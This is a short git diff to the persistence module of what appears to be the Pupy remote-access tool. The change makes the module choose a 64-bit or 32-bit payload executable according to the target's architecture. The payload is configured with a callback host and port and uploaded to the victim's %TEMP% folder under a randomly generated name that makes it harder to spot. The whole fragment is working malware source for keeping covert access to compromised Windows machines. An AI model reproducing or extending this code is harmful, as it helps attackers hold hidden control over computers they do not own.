diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py index 54a8cf68..ded697be 100644 --- a/pupy/modules/persistence.py +++ b/pupy/modules/persistence.py @@ -27,7 +27,10 @@ class PersistenceModule(PupyModule): self.info("generating exe ...") #generating exe - exebuff=pupygen.get_edit_pupyx86_exe(host, port) + if self.client.desc['proc_arch']=="64bit": + exebuff=pupygen.get_edit_pupyx64_exe(host, port) + else: + exebuff=pupygen.get_edit_pupyx86_exe(host, port) remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) self.info("uploading to %s ..."%remote_path)